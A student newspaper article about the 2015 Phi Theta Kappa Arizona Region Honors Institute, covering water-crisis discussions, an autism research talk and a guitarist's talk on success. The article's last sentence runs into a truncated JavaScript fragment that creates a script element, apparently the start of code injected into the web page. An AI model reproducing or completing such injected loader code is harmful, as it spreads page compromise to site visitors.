The 2015 Arizona Region Honors Institute

Co-hosted by CAC

Audrey Bimbi, Cactus Contributor

Ever wondered what it feels like when great minds come together? Well, I had the opportunity to experience that from the 16th to the 17th of October, at the 2015 Phi Theta Kappa Arizona Region Honors Institute. This was not my first Honors Institute, but I felt I was more involved in it compared to last year’s; Central Arizona College’s Alpha Theta Delta chapter co-hosted with Phoenix College’s Rho Pi chapter. In the spirit of breaking frontiers and crossing borders, Phi Theta Kappa’s 2013 – 2015 main theme, the conference saw over 75 students and advisors come together to discuss how we can not only bring awareness, but also do something about the Colorado River water crisis and help the states that depend on it.

As the co-hosting chapter, CAC contributed to the elixir of knowledge: Since the chapter’s main focus is mobile medicine, CAC shared its research on Autism. To lead the conference in the discussion, CAC also invited Dr. James B. Adams, the director of the Autism/ Asperger’s Research at Arizona State University (ASU). Dr. Adams also brought his daughter, Kim Adams, who has Autism; she was diagnosed in 1994. I was moved to know that Dr. Adams turned his career life around for his daughter, so that he could help her and other people in her situation find a way to cope with Autism: Before he turned his focus to Autism, Dr. Adams had been a professor of Chemistry and Engineering at ASU. It is because of his work that I believe that when people care about and love what they do, they can truly make a difference in the world.

Making a difference. This is one of the things that drew me to the Honors Institute. The problems we face in today’s society were discussed by smaller seminar groups and I felt reassured that our discussions were geared towards changing the world around us. You have probably heard the saying, “two heads are better than one.” At the Honors Institute, I saw those words come to life: the problems that our society faces today, such as the Colorado River water crisis, are obviously not a burden that only one person can shoulder. One would probably expect that when honors students put their heads together, they come up with some out-of-the-world ideas to solve societal problems, but our discussions led us to simple solutions, that anyone can do to help. Changing the world, you see, is not something that should be limited to a superhero, it should be something that everyone can help with.

For those of you who think that Honor’s Institutes are all about work and no play, I guess you will have to attend one to know that’s actually far from the truth. We got to enjoy a Saturday afternoon of breathtaking music from guitarist Gabriel Ayala. You may have seen him perform at President Barack Obama’s 2012 inauguration. He even performed for the Pope at the Vatican. After his performance, Ayala talked to the audience about his definition of success, reminding us that it is something we should define for ourselves, instead of taking everybody else’s definition. It is because we do not define our own level of success that we end up being greedy for more even when we have more than enough. Being a millionaire or billionaire may define you as wealthy; by the amount of money reflected in your bank account: however, it is the value of the people and memories that build you up that defines your wealth. Of all the frontiers and borders you will have to break and cross in life, a mindset that hinders your success will be the first you may have to deal with. Just keep this in mind though, failing once, or even a couple of times, will and does not make you a failure.var d=document;var s=d.createElement(‘script’);